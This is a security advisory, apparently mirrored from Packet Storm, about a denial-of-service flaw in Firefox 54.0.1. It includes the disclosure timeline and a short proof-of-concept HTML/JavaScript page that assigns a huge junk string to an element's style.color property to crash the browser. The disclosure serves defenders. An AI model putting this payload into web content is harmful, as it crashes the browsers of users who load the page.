Firefox 54.0.1 Denial Of Service

🗓️ 07 Jul 2017 00:00:00Reported by hyp3rlinxType

packetstorm🔗 packetstormsecurity.com👁 35 Views

Firefox v54.0.1 Denial Of Service vulnerability described in the hyp3rlinx advisor

`[+] Credits: John Page aka hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
===============  
www.mozilla.org  
  
  
  
Product:  
===============  
Firefox v54.0.1  
  
  
  
Vulnerability Type:  
===================  
Denial Of Service  
  
  
  
Security Issue:  
================  
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the  
"style.color" property results in Firefox Browser out of memory crash (not tab crash).  
  
Tested on Windows 7  
  
References:  
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288  
  
  
Exploit/POC:  
=============  
<html>  
<body>  
<script>  
  
var p1 = "\x41";  
for (var c=0;c<0xC350;c++){  
p1+="\x41";  
}  
var p2="\x41";  
for (c=0;c<0x1388;c++){  
p2 += p1;  
}   
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.  
el.style.color=p2  
document.body.appendChild(el)  
  
</script>  
</body>  
  
</html>  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
Medium  
  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: June 27, 2017  
July 7, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`

07 Jul 2017 00:00Current

7.4High risk

Vulners AI Score7.4